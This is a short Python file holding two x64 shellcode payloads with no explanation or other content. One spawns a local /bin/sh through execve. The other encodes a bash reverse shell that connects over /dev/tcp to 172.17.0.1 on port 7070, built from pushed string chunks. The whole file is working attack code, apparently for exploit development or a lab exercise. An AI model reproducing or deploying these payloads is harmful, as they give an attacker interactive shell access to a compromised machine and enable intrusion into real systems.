#!/usr/bin/env python3

import sys

# The shellcode (for x64)
shellcode= (
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"  
).encode('latin-1')

# The reverse shellcode (for x64)
rev_shell= (
   "\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x50\x48"
   "\xb8\x2f\x2f\x2f\x2f\x2f\x62\x69\x6e\x50\x48\x89\xe3\x48\x31\xc0"
   "\x50\x48\xb8\x2d\x63\x63\x63\x63\x63\x63\x63\x50\x48\x89\xe1\x48"
   "\x31\xc0\x50\x48"
   ################################
   "\xb8" "    2>&1" "\x50\x48"
   "\xb8" "    0<&1" "\x50\x48"
   "\xb8" "        " "\x50\x48"   
   "\xb8" "0.1/7070" "\x50\x48"   
   "\xb8" "/172.17." "\x50\x48"  
   "\xb8" "/dev/tcp" "\x50\x48"
   "\xb8" "h -i >  " "\x50\x48"
   "\xb8" "/bin/bas" "\x50\x48"
   ################################
   "\x89\xe2\x48\x31\xc0\x50\x52\x51\x53\x48\x89\xe6\x48\x89\xdf"
   "\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')


